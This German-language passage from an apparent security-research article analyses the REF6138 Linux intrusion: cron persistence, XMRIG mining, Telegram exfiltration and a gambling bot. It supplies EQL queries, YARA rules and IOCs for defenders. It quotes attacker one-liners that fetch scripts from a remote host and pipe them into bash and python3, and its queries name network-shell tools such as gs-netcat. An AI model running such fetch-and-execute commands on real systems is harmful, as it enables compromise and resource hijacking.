Durch unsere Verhaltensregeln sehen wir, dass der Bedrohungsakteur die Crontab-Einträge des aktuellen Benutzers auflistet und eine Nutzlast direkt in die Crontab zurückgibt.
Dieser Befehl versucht, jede Minute http://gcp.pagaelrescate[.]com:8080/ifindyou
herunterzuladen und an bash weiterzuleiten. Wenn wir uns den Inhalt von ifindyou
ansehen, sehen wir das folgende Bash-Skript:
Dieses Skript sammelt Hostname- und IP-Informationen, lädt das SystemdXC
Archiv von http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC
(XMRIG) herunter, speichert es in /tmp/SystemdXC
, extrahiert das Archiv und führt es mit den notwendigen Parametern aus, um mit dem Mining von Bitcoin zu beginnen.
Bei der Untersuchung des Mining-Befehls können wir sehen, wie die Malware XMRIG konfiguriert:
Dieser Befehl stellt eine Verbindung zum unmineable.com
Mining-Pool her und verwendet den Hostnamen des infizierten Computers als Kennung im Mining-Prozess. Zum Zeitpunkt der Erstellung dieses Artikels gibt es 15 aktive Mitarbeiter, die Bitcoin für die Wallet-Adresse 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz
schürfen.
Bei weiteren Untersuchungen der Bitcoin-Adresse stellten wir fest, dass diese Adresse eine einzelne Transaktion durchgeführt hat.
Interessanterweise verweist die Ausgabeadresse für diese Transaktion auf eine bekannte Hot Wallet , die mit Binance in Verbindung steht, was darauf hindeutet, dass die Angreifer ihre Mining-Einnahmen möglicherweise auf eine Börsenplattform überwiesen haben.
Wenn wir unseren Fokus wieder auf das Skript legen, sehen wir auch zwei auskommentierte Befehle, die später klarer werden. Das Skript führt Folgendes aus:
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
Wenn wir uns diese Nutzlast ansehen, können wir den folgenden Inhalt sehen:
Diese Phase überprüft die Ausgabe des Befehls und sendet diese an einen Telegram-Chat-Bot. Durch unsere Telegram-Verhaltensregel können wir sehen, dass eine Telegram POST-Anfrage wie folgt aussieht:
Der Cron-Job, der in dieser Phase eingerichtet wird, wird jede 4. Stunde in Minute 0 ausgeführt. Dieser Job führt Folgendes aus:
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
Das heruntergeladene Python-Skript automatisiert die Interaktion mit einem Online-Glücksspiel durch HTTP-Anfragen. Das Skript enthält Funktionen, die die Benutzerauthentifizierung, das Wetten, die Verarbeitung der Ergebnisse und das Senden von Daten an einen Remote-Server verarbeiten.
Bei näherer Betrachtung haben wir die folgenden Schlüsselkomponenten des Skripts identifiziert:
Globale Variablen:
usuario
: Speichert die Benutzer-ID für die Verwaltung der Sitzung.apuesta
: Stellt den Einsatzbetrag dar.ganancias
: Verfolgt die Gewinne und Verluste.saldo_actual
: Hält den Kontostand.
Die Funktion der obteneruid
verstehen
Diese Funktion authentifiziert den Benutzer, indem sie eine POST-Anfrage mit den erforderlichen Headern und JSON-Daten an den Remote-Server sendet. Wenn der Benutzer noch nicht festgelegt ist, initialisiert er eine neue Sitzung und ruft den Kontostand ab. Nach erfolgreicher Authentifizierung wird eine Sitzungs-UUID zurückgegeben, die für weitere Interaktionen im Spiel verwendet wird.
Die Funktion der enviardatos
verstehen
Diese Funktion sendet Spieldaten oder Statusaktualisierungen an gcp.pagaelrescate[.]com
zurück und protokolliert die Ergebnisse oder Aktionen, die während des Spiels durchgeführt wurden. Er verwendet eine einfache GET-Anforderung, um diese Daten an den Remote-Server zu übertragen.
Die Funktion der hacerjugada
verstehen
Die Funktion hacerjugada
simuliert den Wettvorgang für eine festgelegte Anzahl von Runden. Es sendet POST-Anfragen, um Wetten zu platzieren, aktualisiert die Gewinne oder Verluste nach jeder Runde und berechnet die Gesamtergebnisse. Wenn eine Bonusrunde ausgelöst wird, ruft sie completarbono()
auf, um alle Details des Bonusspiels zu bearbeiten. Zwischen jeder Wettrunde erzwingt die Funktion eine Verzögerung von 30 Sekunden, um das natürliche Gameplay nachzuahmen und eine Entdeckung zu vermeiden.
Die Funktion der completarbono
verstehen
Wenn eine Bonusrunde ausgelöst wird, schließt diese Funktion die Runde ab, indem sie eine Anfrage sendet, die die Sitzungs-ID und die Runden-ID enthält. Basierend auf dem Ergebnis aktualisiert es den Kontostand und protokolliert die Gewinne oder Verluste. Jede Änderung des Kontostands wird mit der Funktion enviardatos()
an den Remote-Server zurückgesendet.
Wird wahrscheinlich zu Testzwecken verwendet
Es ist wichtig zu beachten, dass dieses Skript wahrscheinlich zu Testzwecken verwendet wird, da es mit der Demoversion der Glücksspiel-App interagiert. Dies deutet darauf hin, dass die Angreifer möglicherweise die Automatisierung von Glücksspielaktionen testen oder versuchen, Schwachstellen in der App zu finden, bevor sie zur Live-Version übergehen. Die Verwendung einer Demo-Umgebung impliziert, dass sie ihren Ansatz verfeinern, möglicherweise in Vorbereitung auf ausgefeiltere oder weitreichendere Angriffe.
REF6138 über MITRE ATT&CK
Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden. Während dieser Untersuchung haben wir die folgenden Taktiken, Techniken und Untertechniken identifiziert:
MITRE ATT&CK-Taktiken, -Techniken und -Untertechniken
Taktik | Verfahren | Sub-Technik |
---|---|---|
Ressourcenentwicklung | T1587: Entwickeln von Fähigkeiten | Malware |
T1588: Abrufen von Funktionen | Werkzeug | |
T1608: Tische Fähigkeiten | Malware hochladen | |
Upload-Tool | ||
Erstzugriff | T1190: Öffentlich zugängliche Anwendung ausnutzen | |
Ausführung | T1059: Befehls- und Skriptinterpreter | Unix-Shell |
Python | ||
T1053: Geplanter Task/Job | Cron | |
Persistenz | T1546: Ereignisgesteuerte Ausführung | Änderung der Unix-Shell-Konfiguration |
T1053: Geplanter Task/Job | Cron | |
T1505: Server-Softwarekomponente | Web-Shell | |
Rechteausweitung | T1068: Ausnutzung für die Rechteausweitung | |
Tarnung | T1140: Entschleiern/Dekodieren von Dateien oder Informationen | |
T1222: Änderung von Datei- und Verzeichnisberechtigungen | Änderung von Datei- und Verzeichnisberechtigungen für Linux und Mac | |
T1564: Artefakte verstecken | Versteckte Dateien und Verzeichnisse | |
T1070: Entfernen des Indikators | Timestomp | |
T1036: Maskerade | Maskerade Aufgabe oder Dienst | |
T1027: Verschleierte Dateien oder Informationen | Software-Verpackung | |
Entfernte Nutzlasten | ||
Verschleierung von Befehlen | ||
Verschlüsselte/codierte Datei | ||
Discovery | T1057: Prozesserkennung | |
T1082: Ermittlung von Systeminformationen | ||
T1061: Ermittlung der Systemnetzwerkkonfiguration | ||
T1049: Erkennung von Systemnetzwerkverbindungen | ||
T1007: Erkennung von Systemdiensten | ||
Erfassung | T1119: Automatisierte Sammlung | |
T1005: Daten aus dem lokalen System | ||
Command and Control | T1071: Protokoll der Anwendungsschicht | Web Protocols |
T1132: Datenkodierung | Standard-Codierung | |
T1001: Verschleierung von Daten | ||
T1573: Verschlüsselter Kanal | Symmetrische Kryptographie | |
T1105: Transfer von Eingangswerkzeugen | ||
T1571: Nicht standardmäßiger Anschluss | ||
T1572: Protokoll-Tunneling | ||
T1102: Webdienst | ||
Auswirkungen | T1496: Ressourcen-Hijacking |
Erkennen von REF6138
Elastic Security implementiert einen mehrschichtigen Ansatz zur Bedrohungserkennung, der verhaltensbasierte SIEM- und Endpunktregeln, YARA-Signaturen und ML-basierte Ansätze zur Erkennung von Anomalien nutzt. In diesem Abschnitt werden die von Elastic Security erstellten Erkennungen beschrieben, die eine große Rolle bei der Erfassung der identifizierten Bedrohungen spielen.
Erkennung
Die folgenden Erkennungsregeln wurden bei der Analyse dieses Intrusion Sets beobachtet:
- Segfault-Erkennung
- Zeitstampfen mit Touch Command
- Erstellung oder Änderung der Shell-Konfiguration
- Systembinärdatei verschoben oder kopiert
Verhütung
Die folgenden Verhaltenspräventionsereignisse wurden während der Analyse dieses Intrusion-Sets beobachtet:
- Linux-Reverse-Shell über verdächtiges Dienstprogramm
- Umgehung der Verteidigung durch Bind-Reittier
- Ausführung verdächtiger untergeordneter Linux-Prozesse über interaktive Shell
- Potenzielles Linux-Hack-Tool gestartet
- Privilegienausweitung über PKEXEC-Ausnutzung
- Potenzieller SSH-IT SSH-Wurm heruntergeladen
- Geplanter Job, der Binärdatei an einem ungewöhnlichen Ort ausführt
Die folgenden YARA-Signaturen sind vorhanden, um die KAIJI- und RUDEDEVIL-Malware-Samples sowohl als Datei als auch im Arbeitsspeicher zu erkennen:
Die folgenden, in Kürze veröffentlichten Endpunktregelwarnungen wurden während der Analyse dieses Intrusion-Sets beobachtet:
- Potentielle Shell über Webserver
- Potenzielle Einschleusung von Webserver-Code
- Potenzielle Shell, die vom Webserver-Benutzer ausgeführt wird
- Dekodieren von Aktivitäten über Webserver
- Linux Telegram API Request
- Verdächtige Echo-Ausführung
Suchen von Abfragen in Elastic
Die Ereignisse für KQL und EQL werden mithilfe der Elastic Defend-Integration mit dem Elastic Agent bereitgestellt. Bei der Suche nach Abfragen können hohe Signale oder falsch positive Ergebnisse zurückgegeben werden. Diese Abfragen werden verwendet, um potenziell verdächtiges Verhalten zu identifizieren, aber eine Untersuchung ist erforderlich, um die Ergebnisse zu validieren.
EQL-Abfragen
Wenn Sie den Abschnitt "Zeitleiste" der Sicherheitslösung in Kibana auf der Registerkarte "Korrelation" verwenden, können Sie die folgenden EQL-Abfragen verwenden, um nach ähnlichen Verhaltensweisen zu suchen:
Mögliche XMRIG-Ausführung
Die folgende EQL-Abfrage kann verwendet werden, um in Ihrer Umgebung nach XMRIG-Ausführungen zu suchen.
process where event.type == "start" and event.action == "exec" and (
(
process.args in ("-a", "--algo") and process.args in (
"gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
"rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
"cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
"cn-lite/0", "cn/0"
)
) or
(
process.args == "--coin" and process.args in ("monero", "arqma", "dero")
)
) and process.args in ("-o", "--url")
MSR-Schreibzugriff aktiviert
XMRIG nutzt modprobe, um den Schreibzugriff auf MSR zu ermöglichen. Diese Aktivität ist nicht normal und sollte nicht standardmäßig auftreten.
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
Potenzielle GSOCKET-Aktivität
Diese Aktivität ist das Standardverhalten bei der Bereitstellung von GSOCKET über die empfohlenen Bereitstellungsmethoden. Darüber hinaus werden der Abfrage mehrere Argumente hinzugefügt, um die Wahrscheinlichkeit zu verringern, dass ein individuelleres Eindringen durch GSOCKET übersehen wird.
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)
Potenzielle Prozessmaskierung über exec
GSOCKET nutzt die exec -a
Methode, um einen Prozess unter einem anderen Namen auszuführen. GSOCKET nutzt speziell Maskeraden als Kernel-Prozesse, aber andere Malware kann sich anders tarnen.
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"
Renice- oder Ulimit-Ausführung
Mehrere Malware, darunter KAIJI und RUDEDEVIL, nutzen das Dienstprogramm renice, um die Priorität von Prozessen zu ändern oder Ressourcenlimits für Prozesse festzulegen. Dies wird häufig von Miner-Malware verwendet, um die Priorität von Mining-Prozessen zu erhöhen und die Mining-Leistung zu maximieren.
process where event.type == "start" and event.action == "exec" and (
process.name in ("ulimit", "renice") or (
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
process.command_line : ("*ulimit*", "*renice*")
)
)
Nicht vorhandener Cron(d)-Dienst gestartet
Sowohl KAIJI als auch RUDEDEVIL etablieren Persistenz durch die Schaffung eines cron(d)
Dienstes in /etc/init.d/cron(d)
. Cron
verwendet standardmäßig keinen SysV Init
Dienst. Die Ausführung eines cron(d)
Dienstes ist verdächtig und sollte weiter analysiert werden.
process where event.type == "start" and event.action == "exec" and
process.name == "systemctl" and process.args == "start" and process.args in
("cron.service", "crond.service", "cron", "crond")
Verdächtige /etc/-Prozessausführung von KAIJI
Das Verzeichnis /etc/
ist kein häufig verwendetes Verzeichnis für Prozessausführungen. Es ist bekannt, dass KAIJI eine Binärdatei namens 32678
und id.services.conf
im /etc/
Verzeichnis ablegt, um Persistenz zu etablieren und der Erkennung zu entgehen.
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))
Versteckte Dateierstellung im Verzeichnis /dev/
Das Erstellen versteckter Dateien in /dev/
und /dev/shm/
ist nicht von Natur aus bösartig, sollte jedoch ungewöhnlich sein. Es ist bekannt, dass KAIJI, GSOCKET und andere Malware wie K4SPREADER
versteckte Dateien an diesen Orten ablegen.
file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
Verdächtige Prozessausführung von übergeordneter ausführbarer Datei in /boot/
Malware wie KAIJI und XORDDOS sind dafür bekannt, ausführbare Dateien im /boot/
-Verzeichnis zu platzieren und diese zu nutzen, um Persistenz zu etablieren und gleichzeitig zu versuchen, der Erkennung zu entgehen.
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
YARA
Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Im Folgenden finden Sie die YARA-Regel zur Identifizierung der benutzerdefinierten Apache2
Malware:
rule Linux_Trojan_Generic {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Trojan.Generic"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
$enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
$enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
$enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
$key = "yyyyyyyy"
condition:
1 of ($enc*) and $key
}
Um GSOCKET einschließlich mehrerer benachbarter Tools zu erkennen, haben wir die folgende Signatur erstellt:
rule Multi_Hacktool_Gsocket {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-23"
os = "Linux, MacOS"
arch = "x86"
threat_name = "Multi.Hacktool.Gsocket"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$str1 = "gsocket: gs_funcs not found"
$str2 = "/share/gsocket/gs_funcs"
$str3 = "$GSOCKET_ARGS"
$str4 = "GSOCKET_SECRET"
$str5 = "GS_HIJACK_PORTS"
$str6 = "sftp -D gs-netcat"
$str7 = "GS_NETCAT_BIN"
$str8 = "GSOCKET_NO_GREETINGS"
$str9 = "GS-NETCAT(1)"
$str10 = "GSOCKET_SOCKS_IP"
$str11 = "GSOCKET_SOCKS_PORT"
$str12 = "gsocket(1)"
$str13 = "gs-sftp(1)"
$str14 = "gs-mount(1)"
condition:
3 of them
}
Schließlich wurde die folgende Signatur geschrieben, um das Open-Source-Tool Ligolo-ng zu erkennen, da wir Grund zu der Annahme haben, dass dieses Tool während dieses Eindringens verwendet wurde.
rule Linux_Hacktool_LigoloNG {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Hacktool.LigoloNG"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$a = "https://github.com/nicocha30/ligolo-ng"
$b = "@Nicocha30!"
$c = "Ligolo-ng %s / %s / %s"
condition:
all of them
}
Abwehrempfehlungen
Um sich effektiv gegen Malware-Kampagnen zu verteidigen und das Risiko eines Eindringens zu minimieren, ist es entscheidend, einen mehrschichtigen Sicherheitsansatz zu implementieren. Hier sind einige wichtige Abwehrmaßnahmen, die Sie priorisieren sollten:
- Halten Sie Ihre Elastic Detection-Regeln auf dem neuesten Stand und aktiviert: Stellen Sie sicher, dass Ihre Sicherheitstools, einschließlich aller vordefinierten Erkennungsregeln, auf dem neuesten Stand sind. Kontinuierliche Updates ermöglichen es Ihren Systemen, die neuesten Malware-Signaturen und -Verhaltensweisen zu erkennen.
- Präventionsmodus in Elastic Defend aktivieren: Konfigurieren Sie Elastic Defend im Präventionsmodus so, dass bekannte Bedrohungen automatisch blockiert werden, anstatt nur Warnungen auszugeben. Der Präventionsmodus gewährleistet eine proaktive Abwehr von Malware und Exploits.
- Überwachen von Warnungen und Protokollen: Überwachen Sie Warnungen, Protokolle und Server regelmäßig auf Anzeichen verdächtiger Aktivitäten. Die frühzeitige Erkennung von ungewöhnlichem Verhalten kann dazu beitragen, zu verhindern, dass eine kleine Sicherheitsverletzung zu einer ausgewachsenen Kompromittierung eskaliert.
- Durchführen von Threat Hunting: Untersuchen Sie Ihre Umgebung proaktiv auf versteckte Bedrohungen, die möglicherweise der Erkennung entgangen sind. Die Bedrohungsjagd kann komplexe Angriffe und hartnäckige Malware aufdecken, die herkömmliche Sicherheitsmaßnahmen umgehen.
- Implementieren von Web Application Firewalls (WAFs): Verwenden Sie eine WAF, um nicht autorisierten oder bösartigen Datenverkehr zu blockieren. Eine richtig konfigurierte Firewall kann viele gängige Webangriffe verhindern.
- Erzwingen Sie eine starke Authentifizierung für SSH: Verwenden Sie die Authentifizierung mit öffentlichen/privaten Schlüsseln für den SSH-Zugriff, um sich vor Brute-Force-Angriffen zu schützen.
- Sicheren Code schreiben: Stellen Sie sicher, dass alle benutzerdefinierte Software, insbesondere die Webserver-Technologie, sichere Codierungspraktiken befolgt. Die Beauftragung professioneller Sicherheitsprüfer mit der Überprüfung Ihres Codes kann dazu beitragen, Schwachstellen zu identifizieren und zu entschärfen, bevor sie ausgenutzt werden.
- Regelmäßiges Patchen und Aktualisieren von Systemen: Server, Anwendungen und Software auf dem neuesten Stand zu halten, ist unerlässlich, um bekannte Schwachstellen abzuwehren. Sofortiges Patchen minimiert das Risiko, von handelsüblichen Exploits angegriffen zu werden.
Wenn Sie diese Empfehlungen befolgen, können Sie die Angriffsfläche erheblich reduzieren und Ihre Verteidigung gegen laufende oder potenzielle Schadsoftwarebedrohungen stärken.
Beobachtungen
Die folgenden Observablen wurden in dieser Studie diskutiert. Diese stehen hier im STIX- oder ECS-Format zum Download zur Verfügung.
Observable | Typ | Name | Referenz |
---|---|---|---|
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC (SystemdXC) | XMRIG |
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | apache2_unpacked |
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | apache2_upx_packed | apache2_upx_packed |
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | KAIJI Stager |
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | linux_arm6 | KAIJI ARM6 |
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | linux_arm7 | KAIJI ARM7 |
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | linux_mips64 | KAIJI MIPS64 |
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 Little-Endian |
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | linux_mips_softfloat | KAIJI MIPS Softfloat |
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | linux_mipsel | KAIJI MIPS Little-Endian |
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | KAIJI MIPS Little-Endian Softfloat |
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 Little-Endian |
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | RUDEDEVIL/LUFICER x64 Version 0 |
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | RUDEDEVIL/LUFICER x64 Version 1 |
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | RUDEDEVIL/LUFICER x64 Version 2 |
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | RUDEDEVIL/LUFICER x64 Version 3 |
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | RUDEDEVIL/LUFICER x86 Version 0 |
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | RUDEDEVIL/LUFICER x86 Version 1 |
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | RUDEDEVIL/LUFICER x86 Version 2 |
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | RUDEDEVIL/LUFICER x86 Version 3 |
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | Miner |
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUTLOADER |
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | Miner |
http://gcp.pagaelrescate[.]com:8080/ifindyou | URL | ifindyou.sh | Phase 1 |
http://gcp.pagaelrescate[.]com:8080/cycnet | URL | cycnet.sh | Phase 2 |
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | URL | Enviador_slot.py | Stufe 3 |
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | URL | SystemdXC (SystemdXC) | XMRIG |
http://38.54.125[.]192:8080/nginx-rc | URL | nginx-rc | LIGOLO-NG |
http://62.72.22[.]91/apache2 | URL | apache2 | Benutzerdefinierte Malware |
http://62.72.22[.]91/apache2v86 | URL | apache2v86 | Benutzerdefinierte Malware |
http://91.92.241[.]103:8002/gk.php | URL | gk.php | PHP-Hintertür |
http://hfs.t1linux[.]com:7845/scdsshfk | URL | scdsshfk | XMRIG |
gcp.pagaelrescate[.]com | Domain-Name | REF Hosting-Domäne | |
nishabii[.]Xyz | Domain-Name | RUDEDEVIL C2 | |
3.147.53[.]183 | IPv4-ADDR | Python Reverse Shell C2 | |
38.54.125[.]192 | IPv4-ADDR | C2-Server | |
107.178.101[.]245 | IPv4-ADDR | Malware File Server (Rejetto) | |
62.72.22[.]91 | IPv4-ADDR | Server-Hosting-Malware | |
91.92.241[.]103 | IPv4-ADDR | C2-Server | |
61.160.194[.]160 | IPv4-ADDR | Server-Hosting-Malware | |
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR Geldbörse | RUDEDEVIL/LUFICER Mining-Geldbörse | |
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR Geldbörse | RUDEDEVIL/LUFICER Mining-Geldbörse | |
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC-Geldbörse | XMRIG Mining-Geldbörse |
Referenzen
In der obigen Studie wurde auf Folgendes Bezug genommen:
- https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
- https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
- https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
- https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
- https://github.com/hackerschoice/gsocket